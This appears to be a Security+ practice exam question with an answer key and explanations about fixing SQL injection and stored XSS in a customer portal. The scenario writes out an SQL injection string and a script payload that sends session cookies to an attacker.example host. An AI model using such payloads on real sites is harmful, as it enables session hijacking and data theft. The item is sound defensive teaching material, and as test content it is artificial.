SY0-701 Question 85
Single answerWeb-based: Structured Query Language injection (SQLi) , Cross-site scripting (XSS)A company launches a customer portal that includes a search field and a comment section. During testing, a security analyst observes two issues: entering ' OR '1'='1 into the search field returns all customer records, and posting <script>fetch('https://attacker.example/steal?c='+document.cookie)</script> in the comment section causes other users' browsers to send their session cookies to an external site when viewing the page. Which combination of security controls would BEST address these two vulnerabilities in the application?
- A
Implement parameterized queries for database access and apply output encoding/input sanitization for user-generated content
- B
Enable full-disk encryption on the database server and require multifactor authentication for portal users
- C
Block inbound TCP 3306 at the perimeter firewall and disable directory listing on the web server
- D
Hash all session cookies and increase the web application session timeout
Show answer and explanation
Correct answer: A
Explanation
This scenario contains two classic web application flaws: SQL injection in the search function and stored cross-site scripting in the comment section. For SQL injection, industry best practice is to use parameterized queries or prepared statements so untrusted input is treated strictly as data rather than part of the SQL command. OWASP identifies parameterized queries as a primary defense against SQL injection. For XSS, OWASP recommends context-aware output encoding as the primary defense, supplemented by input validation and sanitization where appropriate, especially for user-generated content. Additional controls such as Content Security Policy (CSP), HttpOnly cookies, and secure session management can reduce impact, but they are not substitutes for fixing the vulnerable code paths. Therefore, the best answer is the option that directly remediates both application-layer root causes.
- A. Correct.
Correct. The search field behavior indicates SQL injection, which is best mitigated by using parameterized queries (prepared statements) so user input is not interpreted as executable SQL. The comment section behavior indicates cross-site scripting (specifically stored XSS), which is mitigated by proper output encoding based on context and, where appropriate, input sanitization/validation for user-supplied content. This directly addresses both root causes in the application.
- B. Incorrect.
Incorrect. Full-disk encryption protects data at rest, and multifactor authentication strengthens login security, but neither prevents SQL injection or XSS. A candidate might choose this because both are strong security controls, but they do not remediate insecure query construction or unsafe rendering of user input in a browser.
- C. Incorrect.
Incorrect. Restricting database ports and disabling directory listing are useful hardening steps, but they do not fix the vulnerable application logic. SQL injection in this scenario occurs through the web application's legitimate connection to the database, so blocking inbound 3306 at the perimeter would not stop the application from issuing maliciously constructed queries. Directory listing is unrelated to XSS here.
- D. Incorrect.
Incorrect. Hashing cookies is not a standard mitigation for XSS, and increasing session timeout would generally worsen exposure by keeping stolen sessions valid longer. While secure cookie attributes such as HttpOnly and Secure can reduce some impact, they do not eliminate the underlying stored XSS vulnerability, and they do not address SQL injection at all.